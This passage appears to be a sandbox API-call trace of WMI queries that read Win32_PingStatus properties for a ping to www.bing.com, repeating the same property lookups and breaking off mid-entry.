0x0 [0136.788] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.788] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0136.788] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0136.788] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.788] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0136.788] SafeArrayGetDim (psa=0x5cea040) returned 0x1 [0136.788] SafeArrayGetDim (psa=0x5cea040) returned 0x1 [0136.788] SafeArrayGetLBound (in: psa=0x5cea040, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0136.788] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.788] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.788] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.788] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.788] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.788] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.788] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.788] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.789] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.789] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.789] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.789] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.789] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.789] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.789] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.789] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.789] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.789] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.789] SysStringByteLen (bstr="__PATH") returned 0xc [0136.789] SysStringByteLen (bstr="__PATH") returned 0xc [0136.789] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824ab0*=0, plFlavor=0x2824ab4*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2824ab0*=3, plFlavor=0x2824ab4*=64) returned 0x0 [0136.789] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824ae4*=0, plFlavor=0x2824ae8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2824ae4*=8, plFlavor=0x2824ae8*=64) returned 0x0 [0136.789] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.789] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.790] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824b3c*=0, plFlavor=0x2824b40*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824b3c*=8, plFlavor=0x2824b40*=64) returned 0x0 [0136.790] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824b64*=0, plFlavor=0x2824b68*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2824b64*=8, plFlavor=0x2824b68*=64) returned 0x0 [0136.790] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.790] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.790] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824bbc*=0, plFlavor=0x2824bc0*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2824bbc*=8, plFlavor=0x2824bc0*=64) returned 0x0 [0136.790] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.790] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.790] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824d94*=0, plFlavor=0x2824d98*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2824d94*=3, plFlavor=0x2824d98*=64) returned 0x0 [0136.790] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824dc8*=0, plFlavor=0x2824dcc*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1c0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2824dc8*=8200, plFlavor=0x2824dcc*=64) returned 0x0 [0136.791] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824dfc*=0, plFlavor=0x2824e00*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2824dfc*=8, plFlavor=0x2824e00*=64) returned 0x0 [0136.791] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.791] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.791] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824e48*=0, plFlavor=0x2824e4c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2824e48*=8, plFlavor=0x2824e4c*=64) returned 0x0 [0136.791] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.791] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.791] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2824e94*=0, plFlavor=0x2824e98*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2824e94*=8, plFlavor=0x2824e98*=64) returned 0x0 [0136.791] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.791] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.791] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0136.791] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0136.791] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.791] IWbemClassObject:Get (in: This=0x5ce4808, wszName="BufferSize", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28250c8*=0, plFlavor=0x28250cc*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28250c8*=19, plFlavor=0x28250cc*=0) returned 0x0 [0136.792] IWbemClassObject:Get (in: This=0x5ce4808, wszName="BufferSize", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28250c8*=19, plFlavor=0x28250cc*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x28250c8*=19, plFlavor=0x28250cc*=0) returned 0x0 [0136.793] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0136.793] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0136.793] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.793] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0136.793] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0136.793] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.793] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0136.793] SafeArrayGetDim (psa=0x5cea010) returned 0x1 [0136.793] SafeArrayGetDim (psa=0x5cea010) returned 0x1 [0136.793] SafeArrayGetLBound (in: psa=0x5cea010, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0136.793] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.793] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.793] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.793] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.793] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.793] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.793] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.793] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.793] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.794] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.794] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.794] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.794] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.794] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.794] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.794] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.794] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.794] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.794] SysStringByteLen (bstr="__PATH") returned 0xc [0136.794] SysStringByteLen (bstr="__PATH") returned 0xc [0136.794] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28258a4*=0, plFlavor=0x28258a8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28258a4*=3, plFlavor=0x28258a8*=64) returned 0x0 [0136.794] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28258d8*=0, plFlavor=0x28258dc*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28258d8*=8, plFlavor=0x28258dc*=64) returned 0x0 [0136.794] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.794] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.795] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825930*=0, plFlavor=0x2825934*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825930*=8, plFlavor=0x2825934*=64) returned 0x0 [0136.795] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825958*=0, plFlavor=0x282595c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2825958*=8, plFlavor=0x282595c*=64) returned 0x0 [0136.795] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.795] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.795] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28259b0*=0, plFlavor=0x28259b4*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28259b0*=8, plFlavor=0x28259b4*=64) returned 0x0 [0136.795] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.795] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.795] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825b88*=0, plFlavor=0x2825b8c*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2825b88*=3, plFlavor=0x2825b8c*=64) returned 0x0 [0136.795] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825bbc*=0, plFlavor=0x2825bc0*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6238, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2825bbc*=8200, plFlavor=0x2825bc0*=64) returned 0x0 [0136.796] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825bf0*=0, plFlavor=0x2825bf4*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2825bf0*=8, plFlavor=0x2825bf4*=64) returned 0x0 [0136.796] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.796] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.796] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825c3c*=0, plFlavor=0x2825c40*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2825c3c*=8, plFlavor=0x2825c40*=64) returned 0x0 [0136.796] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.796] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.796] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825c88*=0, plFlavor=0x2825c8c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2825c88*=8, plFlavor=0x2825c8c*=64) returned 0x0 [0136.796] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.796] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.796] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0136.796] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0136.796] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.796] IWbemClassObject:Get (in: This=0x5ce4808, wszName="ResponseTime", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2825ebc*=0, plFlavor=0x2825ec0*=0 | out: pVal=0x59fe778*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), pType=0x2825ebc*=19, plFlavor=0x2825ec0*=0) returned 0x0 [0136.797] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0136.797] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0136.797] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.797] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0136.797] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0136.797] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.797] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0136.797] SafeArrayGetDim (psa=0x5cea1c0) returned 0x1 [0136.797] SafeArrayGetDim (psa=0x5cea1c0) returned 0x1 [0136.797] SafeArrayGetLBound (in: psa=0x5cea1c0, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0136.797] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.797] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.797] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.797] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.797] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.797] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.797] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.798] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.798] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.798] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.798] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.798] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.798] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.798] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.798] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.798] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.798] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.798] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.798] SysStringByteLen (bstr="__PATH") returned 0xc [0136.798] SysStringByteLen (bstr="__PATH") returned 0xc [0136.798] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826270*=0, plFlavor=0x2826274*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2826270*=3, plFlavor=0x2826274*=64) returned 0x0 [0136.799] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28262a4*=0, plFlavor=0x28262a8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28262a4*=8, plFlavor=0x28262a8*=64) returned 0x0 [0136.799] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.799] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.799] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28262fc*=0, plFlavor=0x2826300*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28262fc*=8, plFlavor=0x2826300*=64) returned 0x0 [0136.799] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2826324*=0, plFlavor=0x2826328*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2826324*=8, plFlavor=0x2826328*=64) returned 0x0 [0136.799] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.799] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.799] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282637c*=0, plFlavor=0x2826380*=0 | out: 